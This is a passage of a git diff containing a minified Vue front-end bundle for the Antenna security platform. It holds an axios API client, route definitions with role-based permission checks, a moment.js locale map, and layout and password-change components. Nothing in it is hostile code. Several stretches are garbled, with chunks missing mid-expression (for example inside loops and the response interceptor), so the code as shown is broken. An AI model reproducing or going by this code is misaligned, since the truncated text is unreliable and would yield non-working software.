l.del("/api/v1/tasks/configs/delete_config/?id="+e)},tmp_delete_config(e){return l.del("/api/v1/tasks/tmp/delete_config/?id="+e)},getTasksConfigsAdd(e){return l.post("/api/v1/tasks/configs/",e)},tasks_tmp(e){return l.post("/api/v1/tasks/configs/",e)},getTasksConfigsUpdate(e){return l.post("/api/v1/tasks/configs/update_config/",e)},tmp_update_config(e){return l.post("/api/v1/tasks/tmp/update_config/",e)},getCreatTask(e){return l.post("/api/v1/tasks/manage/create_task/",e)},getDashboard(e){return l.get("/api/v1/messages/manage/dashboard/",e)},getOpenInvite(){return l.get("/api/v1/configs/manage/open_invite/")},first_login(){return l.get("/api/v1/auth/user/first_login/")},templatesManage(e){return l.post("/api/v1/templates/manage/",e)},delete_template(e){return l.post("/api/v1/templates/manage/delete_template/",e)},template_info(e){return l.get("/api/v1/templates/manage/template_info/",e)},update_template(e){return l.post("/api/v1/templates/manage/update_template/",e)},platform_restart(e){return l.get("/api/v1/configs/manage/platform_restart/",e)},initial_template(e){return l.get("/api/v1/templates/manage/initial_template/",e)},get_dns(e){return l.get("/api/v1/configs/dns/",e)},dns_update(e){return l.post("/api/v1/configs/dns/dns_update/",e)},dns_delete(e){return l.del("/api/v1/configs/dns/dns_delete/",e)}}},1294:function(e,t,a){"use strict";var s={num:1,handleNum:function(e){this.num=e}};t["a"]={testData:s}},1772:function(e,t,a){},3338:function(e,t,a){"use strict";a("4321")},"359c":function(e,t,a){e.exports=a.p+"img/github.c3be1ef9.png"},"3cf4":function(e,t,a){"use strict";a("1772")},4321:function(e,t,a){},4678:function(e,t,a){var s={"./af":"2bfb","./af.js":"2bfb","./ar":"8e73","./ar-dz":"a356","./ar-dz.js":"a356","./ar-kw":"423e","./ar-kw.js":"423e","./ar-ly":"1cfd","./ar-ly.js":"1cfd","./ar-ma":"0a84","./ar-ma.js":"0a84","./ar-sa":"8230","./ar-sa.js":"8230","./ar-tn":"6d83","./ar-tn.js":"6d83","./ar.js":"8e73","./az":"485c","./az.js":"485c","./be":"1fc1","./be.js":"1fc1","./bg":"84aa","./bg.js":"84aa","./bm":"a7fa","./bm.js":"a7fa","./bn":"9043","./bn-bd":"9686","./bn-bd.js":"9686","./bn.js":"9043","./bo":"d26a","./bo.js":"d26a","./br":"6887","./br.js":"6887","./bs":"2554","./bs.js":"2554","./ca":"d716","./ca.js":"d716","./cs":"3c0d","./cs.js":"3c0d","./cv":"03ec","./cv.js":"03ec","./cy":"9797","./cy.js":"9797","./da":"0f14","./da.js":"0f14","./de":"b469","./de-at":"b3eb","./de-at.js":"b3eb","./de-ch":"bb71","./de-ch.js":"bb71","./de.js":"b469","./dv":"598a","./dv.js":"598a","./el":"8d47","./el.js":"8d47","./en-au":"0e6b","./en-au.js":"0e6b","./en-ca":"3886","./en-ca.js":"3886","./en-gb":"39a6","./en-gb.js":"39a6","./en-ie":"e1d3","./en-ie.js":"e1d3","./en-il":"7333","./en-il.js":"7333","./en-in":"ec2e","./en-in.js":"ec2e","./en-nz":"6f50","./en-nz.js":"6f50","./en-sg":"b7e9","./en-sg.js":"b7e9","./eo":"65db","./eo.js":"65db","./es":"898b","./es-do":"0a3c","./es-do.js":"0a3c","./es-mx":"b5b7","./es-mx.js":"b5b7","./es-us":"55c9","./es-us.js":"55c9","./es.js":"898b","./et":"ec18","./et.js":"ec18","./eu":"0ff2","./eu.js":"0ff2","./fa":"8df4","./fa.js":"8df4","./fi":"81e9","./fi.js":"81e9","./fil":"d69a","./fil.js":"d69a","./fo":"0721","./fo.js":"0721","./fr":"9f26","./fr-ca":"d9f8","./fr-ca.js":"d9f8","./fr-ch":"0e49","./fr-ch.js":"0e49","./fr.js":"9f26","./fy":"7118","./fy.js":"7118","./ga":"5120","./ga.js":"5120","./gd":"f6b4","./gd.js":"f6b4","./gl":"8840","./gl.js":"8840","./gom-deva":"aaf2","./gom-deva.js":"aaf2","./gom-latn":"0caa","./gom-latn.js":"0caa","./gu":"e0c5","./gu.js":"e0c5","./he":"c7aa","./he.js":"c7aa","./hi":"dc4d","./hi.js":"dc4d","./hr":"4ba9","./hr.js":"4ba9","./hu":"5b14","./hu.js":"5b14","./hy-am":"d6b6","./hy-am.js":"d6b6","./id":"5038","./id.js":"5038","./is":"0558","./is.js":"0558","./it":"6e98","./it-ch":"6f12","./it-ch.js":"6f12","./it.js":"6e98","./ja":"079e","./ja.js":"079e","./jv":"b540","./jv.js":"b540","./ka":"201b","./ka.js":"201b","./kk":"6d79","./kk.js":"6d79","./km":"e81d","./km.js":"e81d","./kn":"3e92","./kn.js":"3e92","./ko":"22f8","./ko.js":"22f8","./ku":"2421","./ku.js":"2421","./ky":"9609","./ky.js":"9609","./lb":"440c","./lb.js":"440c","./lo":"b29d","./lo.js":"b29d","./lt":"26f9","./lt.js":"26f9","./lv":"b97c","./lv.js":"b97c","./me":"293c","./me.js":"293c","./mi":"688b","./mi.js":"688b","./mk":"6909","./mk.js":"6909","./ml":"02fb","./ml.js":"02fb","./mn":"958b","./mn.js":"958b","./mr":"39bd","./mr.js":"39bd","./ms":"ebe4","./ms-my":"6403","./ms-my.js":"6403","./ms.js":"ebe4","./mt":"1b45","./mt.js":"1b45","./my":"8689","./my.js":"8689","./nb":"6ce3","./nb.js":"6ce3","./ne":"3a39","./ne.js":"3a39","./nl":"facd","./nl-be":"db29","./nl-be.js":"db29","./nl.js":"facd","./nn":"b84c","./nn.js":"b84c","./oc-lnc":"167b","./oc-lnc.js":"167b","./pa-in":"f3ff","./pa-in.js":"f3ff","./pl":"8d57","./pl.js":"8d57","./pt":"f260","./pt-br":"d2d4","./pt-br.js":"d2d4","./pt.js":"f260","./ro":"972c","./ro.js":"972c","./ru":"957c","./ru.js":"957c","./sd":"6784","./sd.js":"6784","./se":"ffff","./se.js":"ffff","./si":"eda5","./si.js":"eda5","./sk":"7be6","./sk.js":"7be6","./sl":"8155","./sl.js":"8155","./sq":"c8f3","./sq.js":"c8f3","./sr":"cf1e","./sr-cyrl":"13e9","./sr-cyrl.js":"13e9","./sr.js":"cf1e","./ss":"52bd","./ss.js":"52bd","./sv":"5fbd","./sv.js":"5fbd","./sw":"74dc","./sw.js":"74dc","./ta":"3de5","./ta.js":"3de5","./te":"5cbb","./te.js":"5cbb","./tet":"576c","./tet.js":"576c","./tg":"3b1b","./tg.js":"3b1b","./th":"10e8","./th.js":"10e8","./tk":"5aff","./tk.js":"5aff","./tl-ph":"0f38","./tl-ph.js":"0f38","./tlh":"cf75","./tlh.js":"cf75","./tr":"0e81","./tr.js":"0e81","./tzl":"cf51","./tzl.js":"cf51","./tzm":"c109","./tzm-latn":"b53d","./tzm-latn.js":"b53d","./tzm.js":"c109","./ug-cn":"6117","./ug-cn.js":"6117","./uk":"ada2","./uk.js":"ada2","./ur":"5294","./ur.js":"5294","./uz":"2e8c","./uz-latn":"010e","./uz-latn.js":"010e","./uz.js":"2e8c","./vi":"2921","./vi.js":"2921","./x-pseudo":"fd7e","./x-pseudo.js":"fd7e","./yo":"7f33","./yo.js":"7f33","./zh-cn":"5c3a","./zh-cn.js":"5c3a","./zh-hk":"49ab","./zh-hk.js":"49ab","./zh-mo":"3a6c","./zh-mo.js":"3a6c","./zh-tw":"90ea","./zh-tw.js":"90ea"};function n(e){var t=r(e);return a(t)}function r(e){if(!a.o(s,e)){var t=new Error("Cannot find module '"+e+"'");throw t.code="MODULE_NOT_FOUND",t}return s[e]}n.keys=function(){return Object.keys(s)},n.resolve=r,e.exports=n,n.id="4678"},4688:function(e,t,a){},"4bd8":function(e,t,a){"use strict";a("fccb")},"50f7":function(e,t,a){"use strict";a("f9ec")},"56d7":function(e,t,a){"use strict";a.r(t);a("9f9e");var s=a("2c92"),n=(a("0ece"),a("27fd")),r=(a("b846"),a("a071")),o=(a("48e3"),a("2fc4")),i=(a("e1f5"),a("5efb")),c=(a("19ac"),a("cdeb")),u=(a("1815"),a("e32c")),l=(a("5b61"),a("4df5")),d=(a("ee33"),a("a79d")),p=(a("73d0"),a("a600")),m=(a("c721"),a("3af3")),f=(a("b4bf"),a("ff57")),g=(a("805a"),a("0c63")),h=(a("a71a"),a("b558")),b=(a("a106"),a("09d9")),v=(a("d2a2"),a("98c5")),j=(a("06ea"),a("fe2b")),k=(a("91dc"),a("d49c")),y=(a("380f"),a("f64c")),w=(a("b6e5"),a("55f1")),_=(a("04f3"),a("ed3b")),x=(a("368b"),a("56cd")),C=(a("9967"),a("de1b")),$=(a("564f"),a("768f")),O=(a("8b88"),a("681b")),S=(a("50ac"),a("9a63")),A=(a("02cf"),a("9839")),P=(a("480a"),a("bf7b")),z=(a("055b"),a("160c")),R=(a("0723"),a("0020")),T=(a("3e86"),a("7571")),E=(a("9e39"),a("f933")),M=(a("153b"),a("9571")),N=(a("5e72"),a("3779")),L=(a("c0ed"),a("9fd0")),K=(a("0a41"),a("1d87")),D=(a("1c85"),a("ccb9")),I=(a("7a59"),a("39ab")),B=(a("4bbf"),a("59a5")),F=a("2b0e"),U=(a("01d7"),a("202f"),function(){var e=this,t=e.$createElement,a=e._self._c||t;return a("div",{attrs:{id:"app"}},[a("router-view")],1)}),q=[],Z={data(){return{collapsed:!1}},created(){},mounted(){}},J=Z,Y=(a("50f7"),a("2877")),H=Object(Y["a"])(J,U,q,!1,null,null,null),G=H.exports,V=(a("e996"),a("a18c"));function W(e,t){/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(e.getFullYear()+"").substr(4-RegExp.$1.length)));const a={"M+":e.getMonth()+1,"d+":e.getDate(),"h+":e.getHours(),"m+":e.getMinutes(),"s+":e.getSeconds()};for(const s in a)if(new RegExp(`(${s})`).test(t)){const e=a[s]+"";t=t.replace(RegExp.$1,1===RegExp.$1.length?e:Q(e))}return t}function Q(e){return("00"+e).substr(e.length)}const X=function(e){var t=new Date(e);return W(t,"yyyy-MM-dd hh:mm:ss")};var ee={wuba_dateformat:X};Object.keys(ee).forEach(e=>F["a"].filter(e,ee[e])),F["a"].use(s["a"]).use(n["a"]).use(r["a"]).use(o["a"]).use(i["a"]).use(c["a"]).use(u["a"]).use(l["a"]).use(d["a"]).use(p["a"]).use(m["a"]).use(f["a"]).use(g["a"]).use(h["a"]).use(b["a"]).use(v["a"]).use(j["b"]).use(k["b"]).use(y["a"]).use(w["a"]).use(_["a"]).use(x["a"]).use(C["a"]).use($["a"]).use(O["a"]).use(S["a"]).use(A["b"]).use(P["a"]).use(z["a"]).use(R["a"]).use(T["a"]).use(E["a"]).use(M["a"]).use(N["a"]).use(L["a"]).use(K["a"]).use(D["a"]).use(I["a"]).use(B["a"]),F["a"].config.productionTip=!1,F["a"].prototype.$message=y["a"],F["a"].prototype.$notification=x["a"],F["a"].prototype.$confirm=_["a"].confirm,new F["a"]({router:V["a"],render:e=>e(G)}).$mount("#app")},"6cd2":function(e,t,a){"use strict";a("4688")},"6ed4":function(e,t,a){e.exports=a.p+"img/weixin.3b5fa652.png"},7136:function(e,t,a){e.exports=a.p+"img/zuozhe.091aaae6.jpeg"},a18c:function(e,t,a){"use strict";a("368b");var s=a("56cd"),n=a("2b0e"),r=a("8c4f"),o=function(){var e=this,t=e.$createElement,a=e._self._c||t;return a("section",{staticClass:"app-main"},[a("transition",{attrs:{name:"fade-transform",mode:"out-in"}},[a("router-view",{key:e.key})],1)],1)},i=[],c={name:"AppMain",computed:{key(){return this.$route.path}}},u=c,l=(a("4bd8"),a("2877")),d=Object(l["a"])(u,o,i,!1,null,"20c9648c",null),p=d.exports,m=function(){var e=this,t=e.$createElement,s=e._self._c||t;return s("a-layout-sider",{attrs:{collapsible:"",width:"208px",trigger:null},model:{value:e.collapsed,callback:function(t){e.collapsed=t},expression:"collapsed"}},[s("div",{staticClass:"imgContainer"},[s("img",{staticClass:"titleImg",attrs:{src:a("cf05"),alt:""}}),s("div",{directives:[{name:"show",rawName:"v-show",value:!e.collapsed,expression:"!collapsed"}],staticClass:"title"},[e._v("Antenna")])]),s("a-menu",{staticClass:"my-navbar",attrs:{mode:"inline","open-keys":e.openKeys,selectedKeys:e.selectedKeys},on:{openChange:e.changeOpen}},[e._l(e.baseRoute,(function(t,a){return[t.redirect?s("SubMenu",{key:a,attrs:{currentRoute:t}}):s("a-menu-item",{key:t.path,on:{click:function(a){return e.jump(t.path)}}},[s("a-icon",{attrs:{type:t.meta.icon}}),s("span",[e._v(e._s(t.meta.title))])],1)]}))],2)],1)},f=[],g=function(e,t){var a=t._c;return a("a-sub-menu",{key:t.props.currentRoute.path},[a("span",{staticClass:"menu-title",attrs:{slot:"title"},slot:"title"},[t.props.currentRoute.meta.icon?a("a-icon",{attrs:{type:t.props.currentRoute.meta.icon}}):t._e(),t.props.currentRoute.meta?a("span",[t._v(" "+t._s(t.props.currentRoute.meta.title)+" ")]):t._e()],1),t._l(t.props.currentRoute.children,(function(e){return[e.children||e.meta.hidden?e.children?a("sub-menu",{key:e.path,attrs:{currentRoute:e}}):t._e():a("a-menu-item",{key:e.path},[a("router-link",{attrs:{to:e.path}},[t._v(" "+t._s(e.meta.title)+" ")])],1)]}))],2)},h=[],b={name:"subMenu",props:{currentRoute:{type:Object,required:!0}},created(){console.log(this.currentRoute,"naoda")}},v=b,j=Object(l["a"])(v,g,h,!0,null,null,null),k=j.exports,y={components:{SubMenu:k},props:{collapsed:{type:Boolean,default:!0}},data(){return{baseRoute:[],openKeys:[],selectedKeys:[],rootSubmenuKeys:[]}},watch:{$route:function(e,t){this.getopenKeys()}},created(){this.getRootSubmenu(),this.getopenKeys(),this.baseRoute=this.getRouter()},mounted(){},methods:{getopenKeys(){let e=[...this.$route.matched];if(e.splice(0,1),this.selectedKeys=[],e.length>1){let t=e.length-1,a=e.length-2;e[a].redirect?this.selectedKeys.push(this.$route.path):this.selectedKeys.push(e[a].path);for(let s=0;s-1===this.openKeys.indexOf(e));-1===this.rootSubmenuKeys.indexOf(t)?this.openKeys=e:this.openKeys=t?[t]:[]},jump(e){this.$router.push({path:e})},getRouter(){let e=re[0].children,t=sessionStorage.getItem("role");for(let a=0;a{if(!e)return console.log("error submit!!"),!1;this.loading=!0,T["a"].getChangePassword({username:this.form.username,old_password:this.form.oldPassword,password:this.form.password,password_confirm:this.form.password}).then(e=>{this.loading=!1,1===e.code?(sessionStorage.clear(),this.$router.push({name:"login"}),this.$message.success("修改成功")):this.$message.error(e.message)},e=>{this.loading=!1})})},onClose(){this.$refs.ruleForm.resetFields(),this.$emit("onClose")},validatePass2(e,t,a){this.$refs.ruleForm.validateField("password",e=>{e||(t!==this.form.password&&a(new Error("两次密码不一致")),a())})},getPasswordChange(){this.form.passwordAgain=""}}},M=E,N=Object(l["a"])(M,z,R,!1,null,null,null),L=N.exports,K=function(){var e=this,t=e.$createElement,s=e._self._c||t;return s("a-config-provider",{attrs:{locale:e.locale}},[s("a-layout",{attrs:{id:"components-layout-demo-top-side-2"}},[s("navbar",{attrs:{collapsed:e.collapsed}}),s("a-layout",[s("a-layout-header",{staticClass:"header clearfix"},[s("a-row",[s("a-col",{attrs:{span:1}},[s("a-icon",{staticClass:"trigger",attrs:{type:e.collapsed?"menu-unfold":"menu-fold"},on:{click:function(){return e.collapsed=!e.collapsed}}})],1),s("a-col",{attrs:{span:10}},[s("Breadcrumb")],1),s("a-col",{staticClass:"textR",attrs:{span:13}},[s("a-space",[s("img",{staticStyle:{width:"20px"},attrs:{src:a("359c"),alt:""},on:{click:e.gotoGithub}}),s("a-popover",[s("template",{slot:"content"},[s("img",{attrs:{src:a("7136"),alt:"",width:"80"}})]),s("img",{staticStyle:{width:"20px"},attrs:{src:a("6ed4"),alt:""}})],2),s("a-divider",{attrs:{type:"vertical"}}),s("a-dropdown",[s("span",{staticClass:"ant-dropdown-link",on:{click:function(e){return e.preventDefault()}}},[e._v(" "+e._s(e.userName)+" ")]),s("a-menu",{attrs:{slot:"overlay"},slot:"overlay"},[s("a-menu-item",[s("a",{attrs:{href:"javascript:;"},on:{click:e.modify}},[e._v("修改密码")])]),s("a-menu-item",[s("a",{attrs:{href:"javascript:;"},on:{click:e.logout}},[e._v("退出")])])],1)],1)],1)],1)],1)],1),s("a-layout",{staticClass:"mian-contents"},[s("a-layout-content",{staticClass:"main-down"},[s("app-main",{staticStyle:{width:"100%"}}),s("div",{staticClass:"bottomTitle"},[e._v("© "+e._s(e.currentYear)+" Copyright "+e._s(e.currentYear)+" 58同城安全")])],1)],1)],1),s("ChangePassword",{attrs:{visible:e.visible},on:{onClose:e.close}})],1)],1)},D=[],I=a("677e"),B=a.n(I),F=function(){var e=this,t=e.$createElement,a=e._self._c||t;return a("a-breadcrumb",{staticClass:"breadcrumb_div",attrs:{routes:e.routes},scopedSlots:e._u([{key:"itemRender",fn:function(t){var s=t.route,n=(t.params,t.routes);t.paths;return[n.indexOf(s)===n.length-1?a("span",[e._v(" "+e._s(s.meta.title)+" ")]):a("router-link",{attrs:{to:s.redirect?s.redirect:s.path}},[e._v(" "+e._s(s.meta.title)+" ")])]}}])})},U=[],q={data(){return{routes:[{path:"/dashboard/workplace",breadcrumbName:"home"},{path:"first",breadcrumbName:"first"},{path:"second",breadcrumbName:"second"}]}},watch:{$route(e,t){this.getBreadcrumb()}},created(){this.getBreadcrumb()},mounted(){},methods:{isHome(e){return"dashboard"===e.name},getBreadcrumb(){let e=[...this.$route.matched];"dashboard"===e[1].name&&e.splice(1,1),this.routes=e}}},Z=q,J=(a("6cd2"),Object(l["a"])(Z,F,U,!1,null,"961643e8",null)),Y=J.exports,H=a("1294"),G=a("c24c"),V=a.n(G),W={name:"Layout",components:{AppMain:p,Navbar:x,Breadcrumb:Y,ChangePassword:L},data(){return{collapsed:!1,locale:B.a,userName:sessionStorage.getItem("username"),testData:H["a"].testData,visible:!1}},created(){this.getManageNum()},async mounted(){await this.firstLogin(),this.newNav()},computed:{currentYear(){let e=new Date;return e.getFullYear()},count:function(){return this.testData.num}},methods:{newNav(){let e=sessionStorage.getItem("firstLogin");if("true"==e){const e=new V.a({animate:!1,allowClose:!1});let t=setTimeout(()=>{let a=!0;e.defineSteps([{element:document.getElementsByClassName("ant-menu-item")[1],popover:{title:"任务管理",description:"管理所有的任务,点击查看所有任务",position:"right"},showButtons:!0,doneBtnText:"下一步",closeBtnText:"跳出",onDeselected:()=>{a&&sessionStorage.setItem("firstLogin","false")},onNext:()=>{a=!1,this.$router.push({path:"tasklist"})}}]),e.start(),clearTimeout(t)},10)}},async firstLogin(){await T["a"].first_login().then(e=>{e.data.first_login?sessionStorage.setItem("firstLogin","false"):sessionStorage.setItem("firstLogin","true")})},gotoGithub(){window.open("https://github.com/wuba/Antenna","_blank")},logout(){T["a"].getLogout().then(e=>{1===e.code?(this.$message.success(e.message),sessionStorage.clear(),this.$router.push({name:"login"})):this.$message.error(e.message)})},modify(){this.visible=!0},close(){this.visible=!1},getManageNum(){T["a"].getManage().then(e=>{1===e.code&&this.testData.handleNum(e.data.count)})},getMessageDetail(){this.$router.push({name:"message"})}}},Q=W,X=(a("3cf4"),Object(l["a"])(Q,K,D,!1,null,null,null)),ee=X.exports;const te={name:"RouteView",render:e=>e("router-view")};let ae=["0","1"],se=["1"];const ne=[{path:"/",name:"index",component:ee,meta:{title:"主页"},redirect:"/dashboard",children:[{path:"/dashboard",name:"dashboard",component:()=>a.e("chunk-22bd84f9").then(a.bind(null,"004c")),meta:{title:"主页",permission:ae,icon:"dashboard",isExpanded:!1},children:[{path:"/dashboard/workplace",name:"Workplace",component:()=>a.e("chunk-2d0f0260").then(a.bind(null,"9aac")),meta:{title:"详情页",keepAlive:!0,permission:ae,hidden:!0}}]},{path:"/tasklist",name:"tasklist",component:()=>a.e("chunk-a9681bc2").then(a.bind(null,"8f98")),meta:{title:"任务管理",keepAlive:!0,permission:ae,icon:"table"}},{path:"/components",name:"components",component:()=>a.e("chunk-7b30ad8e").then(a.bind(null,"a749")),meta:{title:"组件管理",keepAlive:!0,permission:ae,icon:"appstore",isExpanded:!1},children:[{path:"componentsdetail",name:"components-detail",component:()=>a.e("chunk-2d226705").then(a.bind(null,"e950")),meta:{title:"详情页",keepAlive:!0,permission:ae,hidden:!0}}]},{path:"/message",name:"message",component:()=>a.e("chunk-01ffd942").then(a.bind(null,"0944")),meta:{title:"消息列表",keepAlive:!0,permission:ae,icon:"sound"}},{path:"/setting",name:"setting",redirect:"/setting/user",component:te,meta:{title:"系统设置",keepAlive:!0,permission:se,icon:"setting"},children:[{path:"/setting/user",name:"setting-user",component:()=>a.e("chunk-6068f977").then(a.bind(null,"16ab")),meta:{title:"用户管理",keepAlive:!0,permission:se}},{path:"/setting/platform",name:"setting-platform",component:()=>a.e("chunk-c2474cc0").then(a.bind(null,"4505")),meta:{title:"平台管理",keepAlive:!0,permission:se}}]},{path:"/open",name:"open-api",component:()=>a.e("chunk-14f9b6b5").then(a.bind(null,"3cc2")),meta:{title:"OpenAPI",keepAlive:!0,permission:ae,icon:"control"}}]},{path:"/user",component:P,redirect:"/user/login",hidden:!0,children:[{path:"login",name:"login",component:()=>a.e("user").then(a.bind(null,"ac2a")),meta:{type:"login"}},{path:"register",name:"register",component:()=>a.e("user").then(a.bind(null,"1348")),meta:{type:"login"}},{path:"register-result",name:"registerResult"},{path:"recover",name:"recover",component:void 0}]},{path:"/404",component:()=>a.e("fail").then(a.bind(null,"cc89"))},{path:"*",redirect:"/404",hidden:!0}];var re=ne,oe=a("323e"),ie=a.n(oe);const ce=r["a"].prototype.push;r["a"].prototype.push=function(e){return ce.call(this,e).catch(e=>e)},n["a"].use(r["a"]);const ue=new r["a"]({routes:re});ue.beforeEach((e,t,a)=>{ie.a.start();const n=sessionStorage.getItem("token");if(n){let t=e.meta.permission;if(t){let e=t.indexOf(sessionStorage.getItem("role"));e>-1||(s["a"].error({message:"err",description:"没有权限"}),ue.push({path:"/dashboard"})),a()}else a()}else"login"===e.meta.type?a():a({path:"user/login"});"login"===e.meta.type&&(n?a({path:t.fullPath}):a()),e.meta.title&&(document.title=e.meta.title),a()}),ue.afterEach(()=>{ie.a.done()});t["a"]=ue},cf05:function(e,t,a){e.exports=a.p+"img/logo.f700f51b.png"},e996:function(e,t,a){},edc7:function(e,t,a){"use strict";a("f825")},f825:function(e,t,a){},f9ec:function(e,t,a){},fccb:function(e,t,a){}}); \ No newline at end of file diff --git a/static/js/app.9ee25eb4.js b/static/js/app.9ee25eb4.js new file mode 100644 index 0000000..c60d694 --- /dev/null +++ b/static/js/app.9ee25eb4.js @@ -0,0 +1 @@ +(function(e){function t(t){for(var s,n,i=t[0],c=t[1],u=t[2],l=0,d=[];l{let{response:t}=e;return 401===t.status?(s["a"].error({message:"err",description:"token过期,登录态失效,即将跳到登陆"}),sessionStorage.clear(),void setTimeout(()=>{o["a"].push({name:"login"})},2e3)):(t.data.message?s["a"].error({message:"err",description:t.data.message}):s["a"].error({message:"err",description:`${t.status} ${t.statusText} 请稍后再试`}),Promise.reject())};c.interceptors.request.use(e=>{let t=sessionStorage.getItem("token");return t&&(e.headers.Authorization="Token "+t),e},u),c.interceptors.response.use(e=>{const t=e.data;return t},u);var l={all(e){return r.a.all(e)},post(e,t){return c({method:"POST",url:e,data:JSON.stringify(t),headers:{"Content-Type":"application/json"}})},pat(e,t){return c({method:"patch",url:e,data:JSON.stringify(t),headers:{"Content-Type":"application/json"}})},put(e,t){return c({method:"PUT",url:e,data:JSON.stringify(t),headers:{"Content-Type":"application/json"}})},get(e,t){return c({method:"get",url:e,params:t})},del(e,t){return c({method:"delete",url:e,params:t})}};t["a"]={all(e){return l.all(e)},getLogin(e){return l.post("/api/v1/auth/user/login/",e)},getSendmail(e){return l.post("/api/v1/auth/sendmail/",e)},getRegister(e){return l.post("/api/v1/auth/user/register/",e)},getForgetPassword(e){return l.post("/api/v1/auth/user/forget_password/",e)},getLogout(e){return l.get("/api/v1/auth/user/logout/",e)},getChangePassword(e){return l.post("/api/v1/auth/user/change_password/",e)},getUser(e){return l.get("/api/v1/auth/user/",e)},getInvitCode(){return l.get("/api/v1/auth/user/invite_code/")},getChangeUserStatus(e,t){return l.pat(`/api/v1/auth/user/${e}/`,t)},getSendMail(e){return l.post("/api/v1/auth/sendmail/test/",e)},getManage(e){return l.get("/api/v1/messages/manage/",e)},getManageDelete(e){return l.del("/api/v1/messages/manage/multiple_delete/",e)},getOpenAPI(){return l.get("/api/v1/openapi/key/")},getRefreshOpenAPI(){return l.get("/api/v1/openapi/key/refresh/")},getOpenAPIUrl(){return l.get("/api/v1/openapi/key/url_list/")},getTemplatesManage(e){return l.get("/api/v1/templates/manage/",e)},getConfigsManage(e){return l.get("/api/v1/configs/manage/",e)},getConfigsRenew(e){return l.post("/api/v1/configs/manage/platform_update/",e)},getConfigsProtocalUpdate(e){return l.post("/api/v1/configs/manage/protocal_update/",e)},getTasksManage(e){return l.get("/api/v1/tasks/manage/",e)},create_tmp_task(e){return l.get("/api/v1/tasks/manage/create_tmp_task/",e)},getTasksConfigs(e){return l.get("/api/v1/tasks/configs/",e)},cancel_tmp_task(e){return l.post("/api/v1/tasks/manage/cancel_tmp_task/",e)},getTemplatessConfigs(e){return l.get("/api/v1/templates/configs/",e)},getTasksManageStatus(e){return l.post("/api/v1/tasks/manage/multi_update_status/",e)},getTasksManageDele(e){return l.del("/api/v1/tasks/manage/multiple_delete/",e)},getTasksManageEdit(e,t){return l.pat(`/api/v1/tasks/manage/${e}/`,t)},getTasksConfigsDel(e){return l.del("/api/v1/tasks/configs/delete_config/?id="+e)},tmp_delete_config(e){return l.del("/api/v1/tasks/tmp/delete_config/?id="+e)},getTasksConfigsAdd(e){return l.post("/api/v1/tasks/configs/",e)},tasks_tmp(e){return l.post("/api/v1/tasks/configs/",e)},getTasksConfigsUpdate(e){return l.post("/api/v1/tasks/configs/update_config/",e)},tmp_update_config(e){return l.post("/api/v1/tasks/tmp/update_config/",e)},getCreatTask(e){return l.post("/api/v1/tasks/manage/create_task/",e)},getDashboard(e){return l.get("/api/v1/messages/manage/dashboard/",e)},getOpenInvite(){return l.get("/api/v1/configs/manage/open_invite/")},first_login(){return l.get("/api/v1/auth/user/first_login/")},templatesManage(e){return l.post("/api/v1/templates/manage/",e)},delete_template(e){return l.post("/api/v1/templates/manage/delete_template/",e)},template_info(e){return l.get("/api/v1/templates/manage/template_info/",e)},update_template(e){return l.post("/api/v1/templates/manage/update_template/",e)},platform_restart(e){return l.get("/api/v1/configs/manage/platform_restart/",e)},initial_template(e){return l.get("/api/v1/templates/manage/initial_template/",e)},linkList(e){return l.get("/api/v1/templates/url/",e)},get_dns(e){return l.get("/api/v1/configs/dns/",e)},dns_update(e){return l.post("/api/v1/configs/dns/dns_update/",e)},dns_delete(e){return l.del("/api/v1/configs/dns/dns_delete/",e)}}},1294:function(e,t,a){"use strict";var s={num:1,handleNum:function(e){this.num=e}};t["a"]={testData:s}},1772:function(e,t,a){},3338:function(e,t,a){"use strict";a("4321")},"359c":function(e,t,a){e.exports=a.p+"img/github.c3be1ef9.png"},"3cf4":function(e,t,a){"use strict";a("1772")},4321:function(e,t,a){},4678:function(e,t,a){var s={"./af":"2bfb","./af.js":"2bfb","./ar":"8e73","./ar-dz":"a356","./ar-dz.js":"a356","./ar-kw":"423e","./ar-kw.js":"423e","./ar-ly":"1cfd","./ar-ly.js":"1cfd","./ar-ma":"0a84","./ar-ma.js":"0a84","./ar-sa":"8230","./ar-sa.js":"8230","./ar-tn":"6d83","./ar-tn.js":"6d83","./ar.js":"8e73","./az":"485c","./az.js":"485c","./be":"1fc1","./be.js":"1fc1","./bg":"84aa","./bg.js":"84aa","./bm":"a7fa","./bm.js":"a7fa","./bn":"9043","./bn-bd":"9686","./bn-bd.js":"9686","./bn.js":"9043","./bo":"d26a","./bo.js":"d26a","./br":"6887","./br.js":"6887","./bs":"2554","./bs.js":"2554","./ca":"d716","./ca.js":"d716","./cs":"3c0d","./cs.js":"3c0d","./cv":"03ec","./cv.js":"03ec","./cy":"9797","./cy.js":"9797","./da":"0f14","./da.js":"0f14","./de":"b469","./de-at":"b3eb","./de-at.js":"b3eb","./de-ch":"bb71","./de-ch.js":"bb71","./de.js":"b469","./dv":"598a","./dv.js":"598a","./el":"8d47","./el.js":"8d47","./en-au":"0e6b","./en-au.js":"0e6b","./en-ca":"3886","./en-ca.js":"3886","./en-gb":"39a6","./en-gb.js":"39a6","./en-ie":"e1d3","./en-ie.js":"e1d3","./en-il":"7333","./en-il.js":"7333","./en-in":"ec2e","./en-in.js":"ec2e","./en-nz":"6f50","./en-nz.js":"6f50","./en-sg":"b7e9","./en-sg.js":"b7e9","./eo":"65db","./eo.js":"65db","./es":"898b","./es-do":"0a3c","./es-do.js":"0a3c","./es-mx":"b5b7","./es-mx.js":"b5b7","./es-us":"55c9","./es-us.js":"55c9","./es.js":"898b","./et":"ec18","./et.js":"ec18","./eu":"0ff2","./eu.js":"0ff2","./fa":"8df4","./fa.js":"8df4","./fi":"81e9","./fi.js":"81e9","./fil":"d69a","./fil.js":"d69a","./fo":"0721","./fo.js":"0721","./fr":"9f26","./fr-ca":"d9f8","./fr-ca.js":"d9f8","./fr-ch":"0e49","./fr-ch.js":"0e49","./fr.js":"9f26","./fy":"7118","./fy.js":"7118","./ga":"5120","./ga.js":"5120","./gd":"f6b4","./gd.js":"f6b4","./gl":"8840","./gl.js":"8840","./gom-deva":"aaf2","./gom-deva.js":"aaf2","./gom-latn":"0caa","./gom-latn.js":"0caa","./gu":"e0c5","./gu.js":"e0c5","./he":"c7aa","./he.js":"c7aa","./hi":"dc4d","./hi.js":"dc4d","./hr":"4ba9","./hr.js":"4ba9","./hu":"5b14","./hu.js":"5b14","./hy-am":"d6b6","./hy-am.js":"d6b6","./id":"5038","./id.js":"5038","./is":"0558","./is.js":"0558","./it":"6e98","./it-ch":"6f12","./it-ch.